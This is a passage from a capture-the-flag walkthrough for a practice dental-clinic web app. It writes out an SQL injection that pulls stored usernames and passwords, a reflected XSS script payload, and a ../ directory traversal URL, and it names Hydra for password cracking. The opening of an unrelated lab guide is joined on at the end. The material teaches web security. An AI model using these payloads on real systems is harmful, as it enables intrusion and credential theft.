injection vulnerability on the web application that reveals stored usernames and passwords in the error message. What is the username beginning with M? On the top-right of the homepage, you’ll find a link to the Members Login page. If you attempt to log in with a random username and password, an error message will display, stating that the user isn’t found. To find what else this error message could inadvertently display, you can inject an always true SQL query into the Username field: 'or'1'='1 Since '1'='1 is always true, the error message will return all rows from the queried SQL table if the field is vulnerable. After entering the SQL query, enter any password and click Login. When the page reloads, usernames will be displayed in the error message, and one will begin with M. What’s the user's password? Now you know that the Username field is vulnerable to SQL injection, you can manipulate the query to return other information from the database. Using the username you found beginning with M, you can change the SQL query to: ' or username='<username> Because you know an existing username, this condition will return as true. After entering a password and clicking Login the user’s password will display in the error message. Task: Identify a reflected XSS vulnerability on the web application that reveals a token in the error message. What is the token? At the top of the homepage, click on the Join Us Today button or scroll down until you get to the section on Practice Membership and Treatments and click Enquire Today. Both of these buttons will direct you to a registration page. This page contains a number of fields on a form, including name, email address, and street address. From the task, you know you’re looking for a reflected XSS vulnerability, so you can enter the following payload into the fields to test for XSS: <script>alert("xss")</script> Navigate through each field and test the payload by clicking Register Now until you find that the Phone Number field is vulnerable and reflects the “xss” message. Once you see this, click OK to close the window and find the token in the error message underneath the Register Now button. Task: Identify a file inclusion vulnerability on the web application. Task: Use directory traversal techniques to read the file token.txt. What’s the token? Navigate back to the main homepage and scroll down until you find the newsletter section. Underneath the Subscribe Now button, you’ll find a link to View Our Most Recent Newsletter, which you can click. You’ll now be shown a newsletter PDF file which appears in the URL as: http://the-happy-teeth-company.bitnet/view?file=newsletter.pdf This indicates that the application could be dynamically loading the file in the URL “file” parameter. To test this, you can manipulate this parameter to see if it’s vulnerable to a local file inclusion (LFI) exploit and will load other files – such as token.txt. In the URL, change the “file” parameter to: http://the-happy-teeth-company.bitnet/view?file=../../token.txt Press Enter, and a new page will load with a token. Tools This challenge primarily relies on your skills in web application exploitation and only requires two tools: Dirbuster for directory enumeration and Hydra for password cracking. Tips When testing for web application vulnerabilities, remember that vulnerabilities may reside in any part of the application. Subtle elements that appear unimportant could prove exploitable if they neglect to handle inputs securely. So make sure you check all user input forms and any buttons or links that direct you to different parts of the application. If you want to learn more about some of the tools within this lab, take a look at the following lab collections: Secure Testing – Beginner Credential Access SQL Injection Basics Cross-Site Scripting (XSS) Conclusion The steps I’ve laid out here aren’t the only way to find the answers to the questions. As long as you find the answers, you did it – well done! If you think there’s a better method to find some of the answers than what I’ve described above, please post it in the comments below! I hope you enjoyed the challenge and I’ll see you for the next one!The Human Connection Challenge Lab 1: Basic OS Skills - Walkthrough Guide (Official Version)
In this walkthrough, I'll share some strategies for efficiently completing the lab, based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! The goal is to learn, and I hope these notes help clarify any steps and reinforce key concepts for the next challenge.
